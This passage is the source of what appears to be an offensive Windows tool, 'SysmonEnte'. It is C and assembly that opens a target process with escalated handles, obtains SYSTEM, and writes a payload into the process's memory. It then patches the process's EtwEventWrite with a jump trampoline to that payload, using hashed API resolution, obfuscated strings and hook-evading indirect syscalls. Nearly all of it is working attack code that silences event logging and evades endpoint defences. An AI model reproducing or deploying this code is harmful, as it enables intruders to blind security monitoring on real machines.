Advapi32; 40 | 41 | struct { 42 | 43 | ENUMPROCESSMODULES EnumProcessModules; 44 | GETMODULEFILENAMEEXA GetModuleFileNameExA; 45 | 46 | } Psapi; 47 | 48 | struct { 49 | 50 | Syscall NtOpenProcess; 51 | Syscall NtOpenProcessToken; 52 | Syscall NtSuspendThread; 53 | Syscall NtResumeThread; 54 | Syscall NtOpenThread; 55 | Syscall NtQuerySystemInformation; 56 | Syscall NtDuplicateObject; 57 | Syscall NtAllocateVirtualMemory; 58 | Syscall NtWriteVirtualMemory; 59 | Syscall NtProtectVirtualMemory; 60 | 61 | } Nt; 62 | 63 | } API, * PAPI; 64 | 65 | 66 | BOOL ResolveApi(PAPI); 67 | PVOID GetFunctionPtr(unsigned long, unsigned long); 68 | 69 | PVOID getDllBase(unsigned long); 70 | PVOID loadDll(unsigned long); 71 | PVOID loadDll_byName(PSTR); 72 | PVOID parseHdrForPtr(PBYTE, unsigned long); 73 | PVOID followExport(LPSTR, unsigned long); 74 | unsigned long xorHash(unsigned long); 75 | 76 | #endif -------------------------------------------------------------------------------- /src/SysmonEnte/chkstk.asm: -------------------------------------------------------------------------------- 1 | global ___chkstk_ms 2 | 3 | segment .text 4 | 5 | ___chkstk_ms: 6 | ret 7 | -------------------------------------------------------------------------------- /src/SysmonEnte/common.h: -------------------------------------------------------------------------------- 1 | #ifndef COMMON_H 2 | #define COMMON_H 3 | 4 | #include 5 | 6 | #include "apiresolve.h" 7 | #include "includes.h" 8 | #include "misc.h" 9 | #include "recycledgate.h" 10 | 11 | #endif -------------------------------------------------------------------------------- /src/SysmonEnte/gatetrampolin.asm: -------------------------------------------------------------------------------- 1 | segment .text 2 | 3 | global PrepareSyscall 4 | global DoSyscall 5 | 6 | PrepareSyscall: 7 | 8 | xor r11, r11 9 | xor r10, r10 10 | mov r11, rcx 11 | mov r10, rdx 12 | ret 13 | 14 | DoSyscall: 15 | 16 | push r10 17 | xor rax, rax 18 | mov r10, rcx 19 | mov eax, r11d 20 | ret 21 | 22 | 23 | -------------------------------------------------------------------------------- /src/SysmonEnte/hashes.h: -------------------------------------------------------------------------------- 1 | #ifndef HASHES_H 2 | #define HASHES_H 3 | 4 | // ---- NTDLL ---- 5 | #define H_LIB_NTDLL 0x6391f6a9 6 | #define H_API_ETWEVENTWRITE 0x65ea9366 7 | #define H_API_NTOPENPROCESS 0x1141831c 8 | #define H_API_NTOPENPROCESSTOKEN 0x3a92371d 9 | #define H_API_NTOPENTHREAD 0xbac87295 10 | #define H_API_NTRESUMETHREAD 0x6d397e74 11 | #define H_API_NTSUSPENDTHREAD 0x11bcfe25 12 | #define H_API_NTQUERYSYSTEMINFORMATION 0xaf0d30ec 13 | #define H_API_NTDUPLICATEOBJECT 0x62caad5d 14 | #define H_API_NTALLOCATEVIRTUALMEMORY 0x26d18008 15 | #define H_API_NTWRITEVIRTUALMEMORY 0xd4b1e4d6 16 | #define H_API_NTPROTECTVIRTUALMEMORY 0x496b218c 17 | 18 | // ---- KERNEL32 ---- 19 | #define H_LIB_KERNEL32 0x3102ad31 20 | #define H_API_LOADLIBRARYA 0x1efdb3bf 21 | #define H_API_VIRTUALALLOC 0x796e4cd3 22 | #define H_API_LSTRCATA 0x93fde827 23 | #define H_API_LSTRLENA 0x9386e84e 24 | #define H_API_CLOSEHANDLE 0x79328943 25 | #define H_API_VIRTUALFREE 0x27cd8c6a 26 | #define H_API_COPYMEMORY 0x14d8cfcf 27 | #define H_API_LSTRCATW 0x93fde83d 28 | #define H_API_LSTRLENW 0x9386e864 29 | #define H_API_CREATETOOLHELP32SNAPSHOT 0x27c751d1 30 | #define H_API_PROCESS32NEXT 0xd1553c6c 31 | #define H_API_PROCESS32FIRST 0xd33afb35 32 | #define H_API_LSTRCMPW 0x93fd9d45 33 | #define H_API_LSTRCMPA 0x93fd9eaf 34 | #define H_API_ENUMPROCESSMODULES 0xe49cdcd6 35 | #define H_API_GETMODULEINFORMATION 0xb7f544b5 36 | #define H_API_THREAD32FIRST 0xd246d90e 37 | #define H_API_THREAD32NEXT 0x28104aa5 38 | #define H_API_GETMODULEHANDLEA 0x1b577c1c 39 | 40 | // ---- Advapi32 ---- 41 | #define H_LIB_ADVAPI32 0x2662c90d 42 | #define H_API_LOOKUPACCOUNTUSERIDA 0xfd13ce69 43 | #define H_API_GETTOKENINFORMATION 0xcf963c68 44 | #define H_API_LOOKUPPRIVILEGENAMEA 0xa7552cac 45 | #define H_API_IMPERSONATELOGGEDONUSER 0xe7bd961e 46 | #define H_API_LOOKUPACCOUNTSIDA 0xfd13ce69 47 | 48 | // ---- shlwapi.dll ---- 49 | #define H_LIB_SHLWAPI 0xe64fd763 50 | #define H_API_STRSTRA 0x4ef4617c 51 | 52 | // ---- psapi.dll ---- 53 | #define H_LIB_PSAPI 0xf82688 54 | #define H_API_ENUMPROCESSMODULES 0xe49cdcd6 55 | #define H_API_GETMODULEFILENAMEEXA 0xa5240a0e 56 | 57 | #endif 58 | -------------------------------------------------------------------------------- /src/SysmonEnte/includes.h: -------------------------------------------------------------------------------- 1 | #ifndef INCLUDES_H 2 | #define INCLUDES_H 3 | 4 | #define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 ) 5 | #define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) 6 | 7 | typedef struct _UNICODE_STR { 8 | USHORT Length; 9 | USHORT MaximumLength; 10 | PWSTR pBuffer; 11 | } UNICODE_STR, * PUNICODE_STR; 12 | 13 | typedef struct _CLIENT_ID { 14 | DWORD64 UniqueProcess; 15 | DWORD64 UniqueThread; 16 | 17 | } CLIENT_ID, * PCLIENT_ID; 18 | 19 | typedef struct _OBJECT_ATTRIBUTES { 20 | ULONG Length; 21 | HANDLE RootDirectory; 22 | PUNICODE_STR ObjectName; 23 | ULONG Attributes; 24 | PVOID SecurityDescriptor; 25 | PVOID SecurityQualityOfService; 26 | } OBJECT_ATTRIBUTES; 27 | 28 | 29 | #ifndef InitializeObjectAttributes 30 | #define InitializeObjectAttributes( p, n, a, r, s ) { \ 31 | (p)->Length = sizeof(OBJECT_ATTRIBUTES); \ 32 | (p)->RootDirectory = r; \ 33 | (p)->Attributes = a; \ 34 | (p)->ObjectName = n; \ 35 | (p)->SecurityDescriptor = s; \ 36 | (p)->SecurityQualityOfService = NULL; \ 37 | } 38 | #endif 39 | #define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS) 0xC0000004) 40 | 41 | typedef enum _KWAIT_REASON 42 | { 43 | Executive = 0, 44 | FreePage = 1, 45 | PageIn = 2, 46 | PoolAllocation = 3, 47 | DelayExecution = 4, 48 | Suspended = 5, 49 | UserRequest = 6, 50 | WrExecutive = 7, 51 | WrFreePage = 8, 52 | WrPageIn = 9, 53 | WrPoolAllocation = 10, 54 | WrDelayExecution = 11, 55 | WrSuspended = 12, 56 | WrUserRequest = 13, 57 | WrEventPair = 14, 58 | WrQueue = 15, 59 | WrLpcReceive = 16, 60 | WrLpcReply = 17, 61 | WrVirtualMemory = 18, 62 | WrPageOut = 19, 63 | WrRendezvous = 20, 64 | Spare2 = 21, 65 | Spare3 = 22, 66 | Spare4 = 23, 67 | Spare5 = 24, 68 | WrCalloutStack = 25, 69 | WrKernel = 26, 70 | WrResource = 27, 71 | WrPushLock = 28, 72 | WrMutex = 29, 73 | WrQuantumEnd = 30, 74 | WrDispatchInt = 31, 75 | WrPreempted = 32, 76 | WrYieldExecution = 33, 77 | WrFastMutex = 34, 78 | WrGuardedMutex = 35, 79 | WrRundown = 36, 80 | MaximumWaitReason = 37 81 | } KWAIT_REASON; 82 | 83 | 84 | typedef enum _SYSTEM_INFORMATION_CLASS { 85 | SystemBasicInformation = 0, 86 | SystemPerformanceInformation = 2, 87 | SystemTimeOfDayInformation = 3, 88 | SystemProcessInformation = 5, 89 | SystemProcessorPerformanceInformation = 8, 90 | SystemInterruptInformation = 23, 91 | SystemExceptionInformation = 33, 92 | SystemRegistryQuotaInformation = 37, 93 | SystemLookasideInformation = 45 94 | } SYSTEM_INFORMATION_CLASS; 95 | 96 | typedef struct { 97 | LARGE_INTEGER KernelTime; 98 | LARGE_INTEGER UserTime; 99 | LARGE_INTEGER CreateTime; 100 | ULONG WaitTime; 101 | PVOID StartAddress; 102 | CLIENT_ID ClientId; 103 | LONG Priority; 104 | LONG BasePriority; 105 | ULONG ContextSwitches; 106 | ULONG ThreadState; 107 | ULONG WaitReason; 108 | } _SYSTEM_THREAD_INFORMATION, * _PSYSTEM_THREAD_INFORMATION; 109 | 110 | typedef LONG KPRIORITY; 111 | 112 | typedef struct _VM_COUNTERS { 113 | SIZE_T PeakVirtualSize; 114 | SIZE_T PageFaultCount; 115 | SIZE_T PeakWorkingSetSize; 116 | SIZE_T WorkingSetSize; 117 | SIZE_T QuotaPeakPagedPoolUsage; 118 | SIZE_T QuotaPagedPoolUsage; 119 | SIZE_T QuotaPeakNonPagedPoolUsage; 120 | SIZE_T QuotaNonPagedPoolUsage; 121 | SIZE_T PagefileUsage; 122 | SIZE_T PeakPagefileUsage; 123 | SIZE_T VirtualSize; 124 | } VM_COUNTERS; 125 | 126 | typedef struct { 127 | ULONG NextEntryOffset; 128 | ULONG NumberOfThreads; 129 | LARGE_INTEGER WorkingSetPrivateSize; 130 | ULONG HardFaultCount; 131 | ULONG NumberOfThreadsHighWatermark; 132 | ULONGLONG CycleTime; 133 | FILETIME CreateTime; 134 | FILETIME UserTime; 135 | FILETIME KernelTime; 136 | UNICODE_STR ImageName; 137 | KPRIORITY BasePriority; 138 | #ifdef _WIN64 139 | ULONG pad1; 140 | #endif 141 | ULONG ProcessId; 142 | #ifdef _WIN64 143 | ULONG pad2; 144 | #endif 145 | ULONG InheritedFromProcessId; 146 | #ifdef _WIN64 147 | ULONG pad3; 148 | #endif 149 | ULONG HandleCount; 150 | ULONG SessionId; 151 | ULONG_PTR UniqueProcessKey; 152 | VM_COUNTERS VirtualMemoryCounters; 153 | ULONG_PTR PrivatePageCount; 154 | IO_COUNTERS IoCounters; 155 | _SYSTEM_THREAD_INFORMATION ThreadInfos[1]; 156 | } _SYSTEM_PROCESS_INFORMATION, * _PSYSTEM_PROCESS_INFORMATION; 157 | 158 | #endif -------------------------------------------------------------------------------- /src/SysmonEnte/injection.c: -------------------------------------------------------------------------------- 1 | #include "injection.h" 2 | #include "kueken.h" 3 | 4 | BOOL InjectHook(PAPI pApi, DWORD dwPid) { 5 | 6 | BOOL bSuccess = FALSE; 7 | BYTE trampolin[] = { 0x48, 0xB8, 0xEF, 0xBE, 0xAD, 0xDE, 0x00, 0x00, 0x00, 0x00, 0x50, 0xC3 }; 8 | CHAR cNtdll[] = {'n','t','d','l','l','.','d','l','l', 0x00}; 9 | CHAR cNtdllPath[] = {'c',':','\\','w','i','n','d','o','w','s','\\','s','y','s','t','e','m','3','2','\\','n','t','d','l','l','.','d','l','l', 0x00}; 10 | 11 | NTSTATUS status; 12 | DWORD cbNeeded = 0; 13 | DWORD64 offsetEtwEventWrite = 0; 14 | SIZE_T sizePayload = sizeof(kueken), ulOldProt = 0, ulOldOldProt = 0, ulSizeTrampolin = sizeof(trampolin); 15 | 16 | CHAR remoteModuleName[MAX_PATH] = { 0 }; 17 | HMODULE hNtdll = NULL, hRemoteModules[1024] = { 0 }; 18 | PVOID pEtwEventWrite = NULL, pRemoteEtwEventWrite = NULL, pRemoteEtwEventWriteSaved = NULL, pKuekenRemote = NULL; 19 | CLIENT_ID uPid = { 0 }; 20 | OBJECT_ATTRIBUTES ObjectAttributes; 21 | 22 | HANDLE hLowPriv = NULL, hHighPriv = NULL, hDupPriv = NULL; 23 | 24 | InitializeObjectAttributes(&ObjectAttributes, NULL, 0, NULL, NULL); 25 | 26 | uPid.UniqueProcess = dwPid; 27 | uPid.UniqueThread = 0; 28 | 29 | pEtwEventWrite = GetFunctionPtr(H_LIB_NTDLL, H_API_ETWEVENTWRITE); 30 | if (pEtwEventWrite == NULL) 31 | goto exit; 32 | 33 | hNtdll = pApi->Kernel32.GetModuleHandleA(cNtdll); 34 | if (hNtdll == NULL) 35 | goto exit; 36 | 37 | offsetEtwEventWrite = (DWORD64)pEtwEventWrite - (DWORD64)hNtdll; 38 | 39 | PrepareSyscall(pApi->Nt.NtOpenProcess.dwSyscallNr, pApi->Nt.NtOpenProcess.pRecycledGate); 40 | status = DoSyscall(&hLowPriv, PROCESS_QUERY_LIMITED_INFORMATION, &ObjectAttributes, &uPid); 41 | if (!NT_SUCCESS(status)) 42 | goto exit; 43 | 44 | PrepareSyscall(pApi->Nt.NtDuplicateObject.dwSyscallNr, pApi->Nt.NtDuplicateObject.pRecycledGate); 45 | status = DoSyscall(NtCurrentProcess(), hLowPriv, NtCurrentProcess(), &hDupPriv, PROCESS_DUP_HANDLE, FALSE, 0); 46 | if (!NT_SUCCESS(status)) 47 | goto exit; 48 | 49 | PrepareSyscall(pApi->Nt.NtDuplicateObject.dwSyscallNr, pApi->Nt.NtDuplicateObject.pRecycledGate); 50 | status = DoSyscall(hDupPriv, NtCurrentProcess(), NtCurrentProcess(), &hHighPriv, PROCESS_ALL_ACCESS, FALSE, 0); 51 | if (!NT_SUCCESS(status)) 52 | goto exit; 53 | 54 | bSuccess = pApi->Psapi.EnumProcessModules(hHighPriv, hRemoteModules, sizeof(hRemoteModules), &cbNeeded); 55 | for (int i = 0; i < (cbNeeded / sizeof(HMODULE)); i++) { 56 | if (pApi->Psapi.GetModuleFileNameExA(hHighPriv, hRemoteModules[i], remoteModuleName, sizeof(remoteModuleName))) { 57 | if (pApi->Kernel32.lstrcmpA(cNtdllPath, toLowerA(remoteModuleName)) == 0) { 58 | pRemoteEtwEventWrite = (PBYTE)hRemoteModules[i] + offsetEtwEventWrite; 59 | break; 60 | } 61 | } 62 | } 63 | 64 | if(pRemoteEtwEventWrite == NULL) 65 | goto exit; 66 | pRemoteEtwEventWriteSaved = pRemoteEtwEventWrite; 67 | 68 | PrepareSyscall(pApi->Nt.NtAllocateVirtualMemory.dwSyscallNr, pApi->Nt.NtAllocateVirtualMemory.pRecycledGate); 69 | status = DoSyscall(hHighPriv, &pKuekenRemote, 0, (PULONG)&sizePayload, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 70 | if (!NT_SUCCESS(status)) 71 | goto exit; 72 | 73 | PrepareSyscall(pApi->Nt.NtWriteVirtualMemory.dwSyscallNr, pApi->Nt.NtWriteVirtualMemory.pRecycledGate); 74 | status = DoSyscall(hHighPriv, pKuekenRemote, kueken, sizePayload, NULL); 75 | if (!NT_SUCCESS(status)) 76 | goto exit; 77 | 78 | pApi->Kernel32._CopyMemory((PBYTE)trampolin + 2, &pKuekenRemote, sizeof(PVOID)); 79 | 80 | PrepareSyscall(pApi->Nt.NtProtectVirtualMemory.dwSyscallNr, pApi->Nt.NtProtectVirtualMemory.pRecycledGate); 81 | status = DoSyscall(hHighPriv, &pRemoteEtwEventWrite, &ulSizeTrampolin, PAGE_EXECUTE_READWRITE, &ulOldProt); 82 | if (!NT_SUCCESS(status)) 83 | goto exit; 84 | 85 | PrepareSyscall(pApi->Nt.NtWriteVirtualMemory.dwSyscallNr, pApi->Nt.NtWriteVirtualMemory.pRecycledGate); 86 | status = DoSyscall(hHighPriv, pRemoteEtwEventWriteSaved, trampolin, sizeof(trampolin), NULL); 87 | if (!NT_SUCCESS(status)) 88 | goto exit; 89 | 90 | PrepareSyscall(pApi->Nt.NtProtectVirtualMemory.dwSyscallNr, pApi->Nt.NtProtectVirtualMemory.pRecycledGate); 91 | status = DoSyscall(hHighPriv, &pRemoteEtwEventWriteSaved, &ulSizeTrampolin, ulOldProt, &ulOldOldProt); 92 | if (!NT_SUCCESS(status)) 93 | goto exit; 94 | 95 | bSuccess = TRUE; 96 | 97 | exit: 98 | 99 | if (hLowPriv) 100 | pApi->Kernel32.CloseHandle(hLowPriv); 101 | 102 | if (hHighPriv) 103 | pApi->Kernel32.CloseHandle(hHighPriv); 104 | 105 | if (hDupPriv) 106 | pApi->Kernel32.CloseHandle(hDupPriv); 107 | 108 | return bSuccess; 109 | 110 | } 111 | -------------------------------------------------------------------------------- /src/SysmonEnte/injection.h: -------------------------------------------------------------------------------- 1 | #ifndef INJECTION_H 2 | #define INJECTION_H 3 | 4 | #include "common.h" 5 | 6 | BOOL InjectHook(PAPI, DWORD); 7 | 8 | #endif -------------------------------------------------------------------------------- /src/SysmonEnte/kueken.h.prefix: -------------------------------------------------------------------------------- 1 | #include "windows.h" 2 | 3 | __attribute__((section(".text"))) BYTE kueken[] = 4 | 5 | -------------------------------------------------------------------------------- /src/SysmonEnte/linker.ld: -------------------------------------------------------------------------------- 1 | ENTRY(alignstack) 2 | SECTIONS 3 | { 4 | .text : 5 | { 6 | *(.text.alignstack) 7 | *(.text.go) 8 | } 9 | } 10 | -------------------------------------------------------------------------------- /src/SysmonEnte/main.c: -------------------------------------------------------------------------------- 1 | #include "common.h" 2 | 3 | #include "injection.h" 4 | #include "token.h" 5 | #include "threads.h" 6 | 7 | DWORD go(DWORD dwPid){ 8 | 9 | BOOL bSuccess = FALSE; 10 | API api = { 0 }; 11 | 12 | bSuccess = ResolveApi(&api); 13 | if (bSuccess == FALSE) 14 | goto exit; 15 | 16 | bSuccess = GetSystem(&api); 17 | if (bSuccess == FALSE) 18 | goto exit; 19 | 20 | bSuccess = SuspendResumeThreads(&api, dwPid); 21 | if (bSuccess == FALSE) 22 | goto exit; 23 | 24 | bSuccess = InjectHook(&api, dwPid); 25 | if (bSuccess == FALSE) 26 | goto exit; 27 | 28 | bSuccess = SuspendResumeThreads(&api, dwPid); 29 | if (bSuccess == FALSE) 30 | goto exit; 31 | 32 | bSuccess = TRUE; 33 | 34 | exit: 35 | 36 | return bSuccess; 37 | 38 | } -------------------------------------------------------------------------------- /src/SysmonEnte/misc.c: -------------------------------------------------------------------------------- 1 | #include "misc.h" 2 | 3 | unsigned long 4 | djb2_unicode(PCWSTR str) 5 | { 6 | 7 | unsigned long hash = 5381; 8 | DWORD val; 9 | 10 | while (*str != 0) { 11 | val = (DWORD)*str++; 12 | hash = ((hash << 5) + hash) + val; 13 | } 14 | 15 | return hash; 16 | 17 | } 18 | 19 | unsigned long 20 | djb2(PCSTR str) 21 | { 22 | unsigned long hash = 5381; 23 | int c; 24 | 25 | while ((c = *str++)) 26 | hash = ((hash << 5) + hash) + c; 27 | 28 | return hash; 29 | } 30 | 31 | PSTR toLowerA(PSTR str) 32 | { 33 | 34 | PSTR start = str; 35 | 36 | while (*str) { 37 | 38 | if (*str <= L'Z' && *str >= 'A') { 39 | *str += 32; 40 | } 41 | 42 | str += 1; 43 | 44 | } 45 | 46 | return start; 47 | 48 | } 49 | 50 | PWSTR 51 | toLowerW(PWSTR str) 52 | { 53 | 54 | PWSTR start = str; 55 | 56 | while (*str) { 57 | 58 | if (*str <= L'Z' && *str >= 'A') { 59 | *str += 32; 60 | } 61 | 62 | str += 1; 63 | 64 | } 65 | 66 | return start; 67 | 68 | } -------------------------------------------------------------------------------- /src/SysmonEnte/misc.h: -------------------------------------------------------------------------------- 1 | #ifndef MISC_H 2 | #define MISC_H 3 | 4 | #include "windows.h" 5 | 6 | PWSTR toLowerW(PWSTR); 7 | PSTR toLowerA(PSTR); 8 | unsigned long djb2(PCSTR); 9 | unsigned long djb2_unicode(PCWSTR); 10 | 11 | #endif -------------------------------------------------------------------------------- /src/SysmonEnte/peb.h: -------------------------------------------------------------------------------- 1 | #ifndef PEB_H 2 | #define PEB_H 3 | 4 | #include "includes.h" 5 | 6 | typedef struct __OBJECT_ATTRIBUTES { 7 | ULONG Length; 8 | HANDLE RootDirectory; 9 | PUNICODE_STR ObjectName; 10 | ULONG Attributes; 11 | PVOID SecurityDescriptor; 12 | PVOID SecurityQualityOfService; 13 | } _OBJECT_ATTRIBUTES; 14 | 15 | typedef struct _PEB_LDR_DATA 16 | { 17 | DWORD dwLength; 18 | DWORD dwInitialized; 19 | LPVOID lpSsHandle; 20 | LIST_ENTRY InLoadOrderModuleList; 21 | LIST_ENTRY InMemoryOrderModuleList; 22 | LIST_ENTRY InInitializationOrderModuleList; 23 | LPVOID lpEntryInProgress; 24 | } PEB_LDR_DATA, * PPEB_LDR_DATA; 25 | 26 | typedef struct _LDR_DATA_TABLE_ENTRY 27 | { 28 | LIST_ENTRY InMemoryOrderModuleList; 29 | LIST_ENTRY InInitializationOrderModuleList; 30 | PVOID DllBase; 31 | PVOID EntryPoint; 32 | ULONG SizeOfImage; 33 | UNICODE_STR FullDllName; 34 | UNICODE_STR BaseDllName; 35 | ULONG Flags; 36 | SHORT LoadCount; 37 | SHORT TlsIndex; 38 | LIST_ENTRY HashTableEntry; 39 | ULONG TimeDateStamp; 40 | } LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; 41 | 42 | typedef struct _PEB_FREE_BLOCK 43 | { 44 | struct _PEB_FREE_BLOCK* pNext; 45 | DWORD dwSize; 46 | } PEB_FREE_BLOCK, * PPEB_FREE_BLOCK; 47 | 48 | typedef struct PEB 49 | { 50 | BYTE bInheritedAddressSpace; 51 | BYTE bReadImageFileExecOptions; 52 | BYTE bBeingDebugged; 53 | BYTE bSpareBool; 54 | LPVOID lpMutant; 55 | LPVOID lpImageBaseAddress; 56 | PPEB_LDR_DATA pLdr; 57 | LPVOID lpProcessParameters; 58 | LPVOID lpSubSystemData; 59 | LPVOID lpProcessHeap; 60 | PRTL_CRITICAL_SECTION pFastPebLock; 61 | LPVOID lpFastPebLockRoutine; 62 | LPVOID lpFastPebUnlockRoutine; 63 | DWORD dwEnvironmentUpdateCount; 64 | LPVOID lpKernelCallbackTable; 65 | DWORD dwSystemReserved; 66 | DWORD dwAtlThunkSListPtr32; 67 | PPEB_FREE_BLOCK pFreeList; 68 | DWORD dwTlsExpansionCounter; 69 | LPVOID lpTlsBitmap; 70 | DWORD dwTlsBitmapBits[2]; 71 | LPVOID lpReadOnlySharedMemoryBase; 72 | LPVOID lpReadOnlySharedMemoryHeap; 73 | LPVOID lpReadOnlyStaticServerData; 74 | LPVOID lpAnsiCodePageData; 75 | LPVOID lpOemCodePageData; 76 | LPVOID lpUnicodeCaseTableData; 77 | DWORD dwNumberOfProcessors; 78 | DWORD dwNtGlobalFlag; 79 | LARGE_INTEGER liCriticalSectionTimeout; 80 | DWORD dwHeapSegmentReserve; 81 | DWORD dwHeapSegmentCommit; 82 | DWORD dwHeapDeCommitTotalFreeThreshold; 83 | DWORD dwHeapDeCommitFreeBlockThreshold; 84 | DWORD dwNumberOfHeaps; 85 | DWORD dwMaximumNumberOfHeaps; 86 | LPVOID lpProcessHeaps; 87 | LPVOID lpGdiSharedHandleTable; 88 | LPVOID lpProcessStarterHelper; 89 | DWORD dwGdiDCAttributeList; 90 | LPVOID lpLoaderLock; 91 | DWORD dwOSMajorVersion; 92 | DWORD dwOSMinorVersion; 93 | WORD wOSBuildNumber; 94 | WORD wOSCSDVersion; 95 | DWORD dwOSPlatformId; 96 | DWORD dwImageSubsystem; 97 | DWORD dwImageSubsystemMajorVersion; 98 | DWORD dwImageSubsystemMinorVersion; 99 | DWORD dwImageProcessAffinityMask; 100 | DWORD dwGdiHandleBuffer[34]; 101 | LPVOID lpPostProcessInitRoutine; 102 | LPVOID lpTlsExpansionBitmap; 103 | DWORD dwTlsExpansionBitmapBits[32]; 104 | DWORD dwSessionId; 105 | ULARGE_INTEGER liAppCompatFlags; 106 | ULARGE_INTEGER liAppCompatFlagsUser; 107 | LPVOID lppShimData; 108 | LPVOID lpAppCompatInfo; 109 | UNICODE_STR usCSDVersion; 110 | LPVOID lpActivationContextData; 111 | LPVOID lpProcessAssemblyStorageMap; 112 | LPVOID lpSystemDefaultActivationContextData; 113 | LPVOID lpSystemAssemblyStorageMap; 114 | DWORD dwMinimumStackCommit; 115 | } PEB, *PPEB; 116 | 117 | #endif -------------------------------------------------------------------------------- /src/SysmonEnte/recycledgate.c: -------------------------------------------------------------------------------- 1 | #include "recycledgate.h" 2 | 3 | DWORD GetSyscall(DWORD dwCryptedHash, Syscall* pSyscall) { 4 | 5 | PIMAGE_DOS_HEADER pDosHdr = NULL; 6 | PIMAGE_NT_HEADERS pNtHdrs = NULL; 7 | PIMAGE_EXPORT_DIRECTORY pExportDir = NULL; 8 | 9 | PVOID pGate = NULL, pNtdllBase = NULL, pStub = NULL; 10 | PDWORD pdwAddrOfNames = NULL, pdwAddrOfFunctions = NULL; 11 | PWORD pwAddrOfNameOrdinales = NULL; 12 | DWORD dwSyscallNr = 0, dwSuccess = FAIL; 13 | WORD wIdxStub = 0, wIdxfName = 0; 14 | PCHAR pFunctionName = NULL; 15 | BOOL bHooked = FALSE; 16 | 17 | pNtdllBase = findNtDll(); 18 | if (pNtdllBase == NULL) 19 | goto exit; 20 | 21 | pDosHdr = (PIMAGE_DOS_HEADER)pNtdllBase; 22 | pNtHdrs = (PIMAGE_NT_HEADERS)((PBYTE)pNtdllBase + pDosHdr->e_lfanew); 23 | pExportDir = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)pNtdllBase + pNtHdrs->OptionalHeader.DataDirectory[0].VirtualAddress); 24 | 25 | pdwAddrOfFunctions = (PDWORD)((PBYTE)pNtdllBase + pExportDir->AddressOfFunctions); 26 | pdwAddrOfNames = (PDWORD)((PBYTE)pNtdllBase + pExportDir->AddressOfNames); 27 | pwAddrOfNameOrdinales = (PWORD)((PBYTE)pNtdllBase + pExportDir->AddressOfNameOrdinals); 28 | 29 | for (wIdxfName = 0; wIdxfName < pExportDir->NumberOfNames; wIdxfName++) { 30 | 31 | pFunctionName = (PCHAR)((PBYTE)pNtdllBase + pdwAddrOfNames[wIdxfName]); 32 | pStub = (PVOID)((PBYTE)pNtdllBase + pdwAddrOfFunctions[pwAddrOfNameOrdinales[wIdxfName]]); 33 | 34 | if (djb2((PCSTR)pFunctionName) == xor_hash(dwCryptedHash)) 35 | break; 36 | 37 | } 38 | 39 | if (pStub == NULL) 40 | goto exit; 41 | 42 | for (wIdxStub = 0; wIdxStub < SYS_STUB_SIZE; wIdxStub++) { 43 | 44 | if (*((PBYTE)pStub + wIdxStub) == 0xe9) { // This syscall stub is hooked 45 | bHooked = TRUE; 46 | break; 47 | } 48 | 49 | if (*((PBYTE)pStub + wIdxStub) == 0xc3) // Too far 50 | goto exit; 51 | 52 | if (*((PBYTE)pStub + wIdxStub) == 0x4c && *((PBYTE)pStub + wIdxStub + 1) == 0x8b && *((PBYTE)pStub + wIdxStub + 2) == 0xd1 && 53 | *((PBYTE)pStub + wIdxStub + 3) == 0xb8 && *((PBYTE)pStub + wIdxStub + 6) == 0x00 && *((PBYTE)pStub + wIdxStub + 7) == 0x00) { 54 | 55 | BYTE low = *((PBYTE)pStub + 4 + wIdxStub); 56 | BYTE high = *((PBYTE)pStub + 5 + wIdxStub); 57 | 58 | dwSyscallNr = (high << 8) | low; 59 | 60 | break; 61 | 62 | } 63 | } 64 | 65 | if (bHooked) { // Check syscalls around our hooked syscall 66 | 67 | 68 | for (wIdxfName = 1; wIdxfName <= pExportDir->NumberOfFunctions; wIdxfName++) { 69 | if ((PBYTE)pStub + wIdxfName * DOWN < ((PBYTE)pNtdllBase + pdwAddrOfFunctions[pwAddrOfNameOrdinales[pExportDir->NumberOfFunctions - 1]])) { 70 | if ( 71 | *((PBYTE)pStub + wIdxfName * DOWN) == 0x4c 72 | && *((PBYTE)pStub + 1 + wIdxfName * DOWN) == 0x8b 73 | && *((PBYTE)pStub + 2 + wIdxfName * DOWN) == 0xd1 74 | && *((PBYTE)pStub + 3 + wIdxfName * DOWN) == 0xb8 75 | && *((PBYTE)pStub + 6 + wIdxfName * DOWN) == 0x00 76 | && *((PBYTE)pStub + 7 + wIdxfName * DOWN) == 0x00) { 77 | 78 | BYTE high = *((PBYTE)pStub + 5 + wIdxfName * DOWN); 79 | BYTE low = *((PBYTE)pStub + 4 + wIdxfName * DOWN); 80 | dwSyscallNr = ((high << 8) | low) - wIdxfName; 81 | 82 | pStub = (PVOID)((PBYTE)pStub + wIdxfName * DOWN); 83 | 84 | break; 85 | 86 | } 87 | } 88 | 89 | if ((PBYTE)pStub + wIdxfName * UP > ((PBYTE)pNtdllBase + pdwAddrOfFunctions[pwAddrOfNameOrdinales[0]])) { 90 | 91 | if (*((PBYTE)pStub + wIdxfName * UP) == 0x4c 92 | && *((PBYTE)pStub + 1 + wIdxfName * UP) == 0x8b 93 | && *((PBYTE)pStub + 2 + wIdxfName * UP) == 0xd1 94 | && *((PBYTE)pStub + 3 + wIdxfName * UP) == 0xb8 95 | && *((PBYTE)pStub + 6 + wIdxfName * UP) == 0x00 96 | && *((PBYTE)pStub + 7 + wIdxfName * UP) == 0x00) { 97 | 98 | BYTE high = *((PBYTE)pStub + 5 + wIdxfName * UP); 99 | BYTE low = *((PBYTE)pStub + 4 + wIdxfName * UP); 100 | dwSyscallNr = ((high << 8) | low) + wIdxfName; 101 | 102 | pStub = (PVOID)((PBYTE)pStub + wIdxfName * UP); 103 | 104 | break; 105 | 106 | } 107 | } 108 | } 109 | } 110 | 111 | if (pStub && dwSyscallNr) { // Last step: Search for syscall ; ret to use directly 112 | for (wIdxStub = 0; wIdxStub < SYS_STUB_SIZE; wIdxStub++) { 113 | if (*((PBYTE)pStub + wIdxStub) == 0x0f && *((PBYTE)pStub + wIdxStub + 1) == 0x05 && *((PBYTE)pStub + wIdxStub + 2) == 0xc3) { // syscall; ret - sequence? 114 | pGate = (LPVOID)((PBYTE)pStub + wIdxStub); 115 | break; 116 | } 117 | } 118 | } 119 | 120 | 121 | if (pGate == NULL || dwSyscallNr == 0x00) 122 | goto exit; 123 | 124 | pSyscall->pRecycledGate = pGate; 125 | pSyscall->dwSyscallNr = dwSyscallNr; 126 | 127 